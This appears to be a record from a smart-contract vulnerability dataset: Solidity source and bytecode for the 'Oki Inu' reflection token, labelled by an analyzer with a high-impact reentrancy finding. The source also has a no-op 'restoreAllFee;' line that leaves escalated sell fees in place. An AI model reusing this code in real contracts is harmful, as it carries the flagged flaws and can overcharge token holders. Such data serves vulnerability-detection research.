46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077a57600080fd5b505afa15801561078e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b2919061159b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107fa57600080fd5b505af115801561080e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610832919061159b565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108628161048e565b6000806108776000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108da57600080fd5b505af11580156108ee573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109139190611764565b5050600f80546a108b2a2c2802909400000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561098e57600080fd5b505af11580156109a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c39190611747565b6001600160a01b038316610a285760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ef565b6001600160a01b038216610a895760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ef565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b4e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ef565b6001600160a01b038216610bb05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ef565b60008111610c125760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ef565b6001600a55600b80556000546001600160a01b03848116911614801590610c4757506000546001600160a01b03838116911614155b15610e25576001600160a01b03831660009081526006602052604090205460ff16158015610c8e57506001600160a01b03821660009081526006602052604090205460ff16155b610c9757600080fd5b600f546001600160a01b038481169116148015610cc25750600e546001600160a01b03838116911614155b8015610ce757506001600160a01b03821660009081526005602052604090205460ff16155b8015610cfc5750600f54600160b81b900460ff165b15610d5957601054811115610d1057600080fd5b6001600160a01b0382166000908152600760205260409020544211610d3457600080fd5b610d3f42603c61188d565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610d845750600e546001600160a01b03848116911614155b8015610da957506001600160a01b03831660009081526005602052604090205460ff16155b15610db8576001600a55600b80555b6000610dc33061048e565b600f54909150600160a81b900460ff16158015610dee5750600f546001600160a01b03858116911614155b8015610e035750600f54600160b01b900460ff165b15610e2357610e1181610f78565b478015610e2157610e2147610e6f565b505b505b610e30838383611101565b505050565b60008184841115610e595760405162461bcd60e51b81526004016103ef9190611792565b506000610e6684866118e6565b95945050505050565b600c546001600160a01b03166108fc610e8983600261110c565b6040518115909202916000818181858888f19350505050158015610eb1573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ecc83600261110c565b6040518115909202916000818181858888f193505050501580156105c3573d6000803e3d6000fd5b6000600854821115610f5b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103ef565b6000610f6561114e565b9050610f71838261110c565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fc057610fc061192e565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561101457600080fd5b505afa158015611028573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104c919061159b565b8160018151811061105f5761105f61192e565b6001600160a01b039283166020918202929092010152600e5461108591309116846109c6565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110be90859060009086903090429060040161181c565b600060405180830381600087803b1580156110d857600080fd5b505af11580156110ec573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e30838383611171565b6000610f7183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611268565b600080600061115b611296565b909250905061116a828261110c565b9250505090565b600080600080600080611183876112de565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111b5908761133b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111e4908661137d565b6001600160a01b038916600090815260026020526040902055611206816113dc565b6112108483611426565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161125591815260200190565b60405180910390a3505050505050505050565b600081836112895760405162461bcd60e51b81526004016103ef9190611792565b506000610e6684866118a5565b60085460009081906b033b2e3c9fd0803ce80000006112b5828261110c565b8210156112d5575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006112fb8a600a54600b5461144a565b925092509250600061130b61114e565b9050600080600061131e8e87878761149f565b919e509c509a509598509396509194505050505091939550919395565b6000610f7183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e35565b60008061138a838561188d565b905083811015610f715760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ef565b60006113e661114e565b905060006113f483836114ef565b30600090815260026020526040902054909150611411908261137d565b30600090815260026020526040902055505050565b600854611433908361133b565b600855600954611443908261137d565b6009555050565b6000808080611464606461145e89896114ef565b9061110c565b90506000611477606461145e8a896114ef565b9050600061148f826114898b8661133b565b9061133b565b9992985090965090945050505050565b60008080806114ae88866114ef565b905060006114bc88876114ef565b905060006114ca88886114ef565b905060006114dc82611489868661133b565b939b939a50919850919650505050505050565b6000826114fe57506000610356565b600061150a83856118c7565b90508261151785836118a5565b14610f715760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ef565b80356115798161195a565b919050565b60006020828403121561159057600080fd5b8135610f718161195a565b6000602082840312156115ad57600080fd5b8151610f718161195a565b600080604083850312156115cb57600080fd5b82356115d68161195a565b915060208301356115e68161195a565b809150509250929050565b60008060006060848603121561160657600080fd5b83356116118161195a565b925060208401356116218161195a565b929592945050506040919091013590565b6000806040838503121561164557600080fd5b82356116508161195a565b946020939093013593505050565b6000602080838503121561167157600080fd5b823567ffffffffffffffff8082111561168957600080fd5b818501915085601f83011261169d57600080fd5b8135818111156116af576116af611944565b8060051b604051601f19603f830116810181811085821117156116d4576116d4611944565b604052828152858101935084860182860187018a10156116f357600080fd5b600095505b8386101561171d576117098161156e565b8552600195909501949386019386016116f8565b5098975050505050505050565b60006020828403121561173c57600080fd5b8135610f718161196f565b60006020828403121561175957600080fd5b8151610f718161196f565b60008060006060848603121561177957600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117bf578581018301518582016040015282016117a3565b818111156117d1576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561186c5784516001600160a01b031683529383019391830191600101611847565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118a0576118a0611918565b500190565b6000826118c257634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118e1576118e1611918565b500290565b6000828210156118f8576118f8611918565b500390565b600060001982141561191157611911611918565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048b57600080fd5b801515811461048b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207f3c6b8fb133ec2337bee4de6741db74f2e89ae32ddf10f339dca1f88e5f163564736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
9,560
0x298eab802f2357f2536bbd8c058027a8b7cc8682
/** *Submitted for verification at Etherscan.io on 2021-06-11 */ /* OKI INU🐶 - BIG DOG 2% redistribution to holders on all buys 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells in each 24h periods Cooldowns period between buys, and sells SPDX-License-Identifier: Unlicensed */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract OkiInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"Oki Inu🐶"; string private constant _symbol = "OKIINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 7; uint256 private _teamFee = 5; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 7; _teamFee = 5; } function setFee(uint256 multiplier) private { _taxFee = _taxFee * multiplier; if (multiplier > 1) { _teamFee = 10; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); _teamFee = 6; _taxFee = 2; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (1 days) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (1 hours); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (2 hours); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (6 hours); } else if (sellnumber[from] == 3) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + (1 days); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 3000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600b81526020017f4f6b6920496e75f09f90b6000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4f4b49494e550000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a0000000000000000000000000000000000000000000